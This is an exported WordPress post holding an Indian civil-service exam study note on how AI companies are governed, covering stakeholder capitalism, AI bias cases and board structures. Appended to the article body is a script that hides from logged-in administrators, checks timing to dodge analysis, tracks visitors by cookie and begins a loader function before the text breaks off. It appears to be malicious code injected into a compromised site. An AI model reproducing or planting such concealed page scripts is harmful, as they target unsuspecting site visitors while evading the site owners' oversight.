{"id":1315,"date":"2024-08-17T07:04:41","date_gmt":"2024-08-17T07:04:41","guid":{"rendered":"https:\/\/iasquest.com\/?p=1315"},"modified":"2026-02-11T19:13:20","modified_gmt":"2026-02-11T19:13:20","slug":"paper-v-general-studies-iv-ethics-integrity-and-aptitude","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/paper-v-general-studies-iv-ethics-integrity-and-aptitude\/","title":{"rendered":"PAPER-V General Studies-IV : Ethics, Integrity and Aptitude"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><strong><em>Ethics: Corporate Governance<\/em><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><em>News:<\/em><\/strong> <em>Reshape the governance structures of AI companies<\/em><\/p>\n\n\n\n<p class=\"has-vivid-red-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>Critically examine the issues between Corporate governance frameworks and AI frameworks.<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Corporate governance frameworks are intended to <strong><em>guarantee that businesses behave morally, transparently, and in the interests of its stakeholders.<\/em><\/strong> These systems <strong><em>now confront additional difficulties as Artificial Intelligence (AI) firms strive to strike a balance between profit and social responsibility.<\/em><\/strong> The introduction of AI into multiple sectors in India has sparked concerns about how corporate governance can keep up with these technological developments.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Conventional Corporate Governance:<\/strong> <strong>Priority for Shareholders<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The thesis of shareholder primacy has historically been supported by modern corporate governance frameworks in capitalistic and neo-capitalistic economies.&nbsp;<\/li>\n\n\n\n<li>This means that the <strong><em>creation of wealth and profit for shareholders and investors are the main aims of modern organizations<\/em><\/strong>, frequently taking precedence over other business objectives such as the public good.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>The rise of the Stakeholder Benefit Method<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>On the other hand, a significant movement in favor of a stakeholder benefit approach to corporate governance has emerged.&nbsp;<\/li>\n\n\n\n<li>The objective of this method is <strong><em>to optimize the gains for all parties involved, encompassing the environment, customers, and society.<\/em><\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>AI&#8217;s Role in modern Corporate Governance<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Stakeholder capitalism-leaning alternative governance models have become more prevalent in firms in recent years.&nbsp;<\/li>\n\n\n\n<li>These companies are becoming more and more involved in services, technologies, and goods that serve a larger societal good in addition to being motivated only by financial gain.&nbsp;<\/li>\n\n\n\n<li>One such example is <strong>generative artificial intelligence (AI),<\/strong> where businesses are <strong><em>investigating new governance frameworks to strike a balance between profit and social responsibility.<\/em><\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Problems Related to the Development of AI<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Data Issues:<\/strong> Access to enormous volumes of data is necessary for the development of AI technology, which may expedite the possible exploitation of personal data and jeopardize privacy.<\/li>\n\n\n\n<li><strong>Impact on Society:<\/strong> The use of AI has a profound effect on society and is not merely a technical instrument. A major worry is that <strong><em>biases held by humans could find their way into AI systems, creating algorithmic biases that could have negative effects.<\/em><\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Examples of AI Bias and Governance Issues<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>A prominent example of AI governance issues is when the Irish privacy regulator urged <strong><em>Meta (previously Facebook)<\/em><\/strong> to postpone its plans to train massive language models in Europe using public content from Facebook and Instagram.<\/li>\n\n\n\n<li>Furthermore, after learning that its hiring algorithm was <strong><em>plagued with gender prejudice<\/em><\/strong>, Amazon stopped using it. Additionally, Princeton University researchers discovered that <strong><em>AI software associated some words with European names more favorably than with African-American names.<\/em><\/strong>&nbsp;<\/li>\n\n\n\n<li>This finding illustrates how AI might reinforce preexisting biases and lead to disparities in access and opportunity.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Corporates approach to concerns in AI governance:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Several companies have changed their corporate governance frameworks as a result of these factors.<\/li>\n\n\n\n<li>For instance, <strong>OpenAI and Anthropic<\/strong> have implemented frameworks that give the <strong><em>public interest and ethical AI development first priority<\/em><\/strong>.&nbsp;<\/li>\n\n\n\n<li>Specifically, <strong>Anthropic is run according to a \u2018Long-Term Benefit Trust model\u2019<\/strong>, with members who are not financially involved and who have the power to appoint and dismiss board members.&nbsp;<\/li>\n\n\n\n<li>This system <strong><em>makes sure that morality in the long run takes precedence over profit in the short term.<\/em><\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">For instance, artificial intelligence may cause great harm to society if it starts to discriminate against a certain gender or religion. Think about a facial recognition system that detects criminals; if it is biased, it might wrongly identify some groups, which could result in serious errors.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Working Strategy need to be focussed:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Improving Long-Term Profit Gains:<\/strong> Businesses should be urged to embrace long-term financial returns in addition to public benefit goals.<\/li>\n\n\n\n<li><strong>Encouraging Managerial Compliance:<\/strong> Managers ought to be compensated for upholding moral principles in addition to attaining financial success.&nbsp;<\/li>\n<\/ul>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Success should be evaluated not only on output but also on the morality of the work, with bonuses linked to these standards.<\/li>\n\n\n\n<li><strong>Lowering Compliance Costs:<\/strong> Implementing moral governance principles can be made less expensive by streamlining procedures and offering tax breaks and other government incentives.<\/li>\n\n\n\n<li><strong>Fostering Ethical AI Development:<\/strong> In addition, moral rules for AI governance must be developed; these ought to resemble the EU&#8217;s suggested norms for high-risk AI systems.<\/li>\n\n\n\n<li><strong>Holding people accountable:<\/strong> Diversity in teams, frequent audits, and openness in decision-making can all assist to reduce biases and guarantee a good range of viewpoints.<\/li>\n\n\n\n<li>Changes to corporate governance legislation and ethical education for all parties involved can help bolster these initiatives even further.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Challenges to implement:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The international scope of AI, with national laws.<\/li>\n\n\n\n<li>It&#8217;s challenging to keep up with the rapid advancement of technology.<\/li>\n\n\n\n<li>Therefore, to ensure <strong><em>ethical governance without impeding technical advancement<\/em><\/strong>, <strong><em>a balance between regulation and innovation must be achieved.<\/em><\/strong><strong><em><\/em><\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">For the development of AI to be <strong><em>in line with larger social values, AI corporations&#8217; governance structures must be redesigned<\/em><\/strong>. The sustainable development of AI and its <strong><em>beneficial effects on society require the integration of ethical issues into corporate governance<\/em><\/strong>, a task that is not only feasible but critical.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Reference: <\/strong><a href=\"https:\/\/www.thehindu.com\/opinion\/op-ed\/reshape-the-governance-structures-of-ai-companies\/article68529718.ece\" target=\"_blank\" rel=\"noopener\">https:\/\/www.thehindu.com\/opinion\/op-ed\/reshape-the-governance-structures-of-ai-companies\/article68529718.ece<\/a>&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var 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